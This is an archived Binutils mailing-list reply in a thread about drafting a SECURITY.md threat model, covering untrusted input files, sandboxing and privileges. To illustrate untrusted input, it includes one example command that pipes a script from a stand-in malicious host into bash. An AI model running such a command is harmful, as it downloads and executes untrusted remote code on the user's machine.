From: Siddhesh Poyarekar <siddhesh@gotplt.org>
To: Richard Earnshaw <Richard.Earnshaw@foss.arm.com>,
Nick Clifton <nickc@redhat.com>,
Binutils <binutils@sourceware.org>
Cc: "gdb@sourceware.org" <gdb@sourceware.org>
Subject: Re: RFC: Adding a SECURITY.md document to the Binutils
Date: Thu, 13 Apr 2023 08:54:51 -0400 [thread overview]
Message-ID: <c9cc65ae-88a4-20ed-ebbe-e05ad99dc8be@gotplt.org> (raw)
In-Reply-To: <eaa76d6a-84eb-fa79-5a1a-4953e02ccabc@foss.arm.com>
On 2023-04-13 08:37, Richard Earnshaw wrote:
>> "Direct compromise of security" is essentially what we're trying to
>> define more strongly to prevent spurious CVE assignments.
>
> If a user can be tricked into opening a corrupt file (eg object file)
> and that causes a buffer overflow that's then used to send another file
> to a third party, you can't really pretend that's not a direct
> compromise of security. We live in the real world and this sort of
> threat is real.
I agree that this sort of threat is real, which is why we should
recommend sandboxing to deal with corrupt/untrusted files. There is no
way that any program can be secured against untrusted input *after* it
has been supplied to it, especially if the input is in a Turing complete
form, like a program or a script.
This is why when one does a:
curl -s http://evil.website/malicious-script.sh | bash
it is a legitimate security issue, but it's not a vulnerability in bash,
nor can it be secured in bash. One must either do this in a sandbox to
contain its impact in that sandbox, or do a secondary analysis (again in
a sandbox) to determine that it is safe.
>>> a vulnerability in the generated output that was not already present
>>> in the files used as input.
>>>
>>> Note: none of the programs in the GNU Binutils suite need elevated
>>> system privileges (eg setuid) to operate and we recommend that users
>>> do not use them from accounts where such privileges are automatically
>>> available.
>>
>> We did have CVE-2021-20197, so it's not always setuid.
>
>
> Which is exactly the sort of scenario I was trying to exclude by this
> statement - don't run the tools with elevated privileges.
I should have clarified that I agree, just that mentioning setuid might
lull users into believing that this threat model is only related to setuid.
Sid
next prev parent reply other threads:[~2023-04-13 12:54 UTC|newest]
Thread overview: 56+ messages / expand[flat|nested] mbox.gz Atom feed top
2023-04-07 8:42 Nick Clifton
2023-04-07 10:36 ` Eli Zaretskii
2023-04-11 13:29 ` Nick Clifton
2023-04-11 14:23 ` Simon Marchi
2023-04-11 15:00 ` Eli Zaretskii
2023-04-11 16:22 ` Nick Clifton
2023-04-11 16:32 ` Matt Rice
2023-04-11 18:18 ` J.W. Jagersma
2023-04-12 8:43 ` Nick Clifton
2023-04-08 6:30 ` Jan Beulich
2023-04-10 18:30 ` John Baldwin
2023-04-20 15:56 ` Nick Clifton
2023-04-11 19:45 ` Ian Lance Taylor
2023-04-12 16:02 ` Richard Earnshaw
2023-04-12 16:26 ` Siddhesh Poyarekar
2023-04-12 16:52 ` Richard Earnshaw
2023-04-12 16:58 ` Paul Koning
2023-04-12 17:10 ` Siddhesh Poyarekar
2023-04-13 3:51 ` Alan Modra
2023-04-13 4:25 ` Siddhesh Poyarekar
2023-04-13 5:16 ` Alan Modra
2023-04-13 12:00 ` Siddhesh Poyarekar
2023-04-13 10:25 ` Richard Earnshaw
2023-04-13 11:53 ` Siddhesh Poyarekar
2023-04-13 12:37 ` Richard Earnshaw
2023-04-13 12:54 ` Siddhesh Poyarekar [this message]
2023-04-13 13:11 ` Richard Earnshaw
2023-04-13 13:35 ` Siddhesh Poyarekar
2023-04-13 13:40 ` Richard Earnshaw
2023-04-13 13:56 ` Siddhesh Poyarekar
2023-04-13 14:50 ` Richard Earnshaw
2023-04-13 15:02 ` Siddhesh Poyarekar
2023-04-13 15:05 ` Richard Earnshaw
2023-04-13 16:42 ` Siddhesh Poyarekar
2023-04-14 9:52 ` Richard Earnshaw
2023-04-14 12:43 ` Siddhesh Poyarekar
2023-04-14 12:49 ` Richard Earnshaw
2023-04-14 13:13 ` Siddhesh Poyarekar
2023-04-13 15:08 ` Paul Koning
2023-04-13 16:02 ` Siddhesh Poyarekar
2023-04-13 16:49 ` Paul Koning
2023-04-13 17:00 ` Siddhesh Poyarekar
2023-04-13 17:05 ` Paul Koning
2023-04-13 17:29 ` Siddhesh Poyarekar
2023-04-13 17:37 ` Paul Koning
2023-04-13 18:16 ` Siddhesh Poyarekar
2023-04-14 17:37 ` Ian Lance Taylor
2023-04-14 18:27 ` Siddhesh Poyarekar
2023-04-14 20:46 ` Ian Lance Taylor
2023-04-14 21:24 ` Siddhesh Poyarekar
2023-04-17 15:31 ` Michael Matz
2023-04-17 19:55 ` Ian Lance Taylor
2023-04-14 19:45 ` DJ Delorie
2023-04-14 20:49 ` Ian Lance Taylor
2023-04-15 6:41 ` Xi Ruoyao
2023-04-13 16:06 ` Richard Earnshaw
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=c9cc65ae-88a4-20ed-ebbe-e05ad99dc8be@gotplt.org \
--to=siddhesh@gotplt.org \
--cc=Richard.Earnshaw@foss.arm.com \
--cc=binutils@sourceware.org \
--cc=gdb@sourceware.org \
--cc=nickc@redhat.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).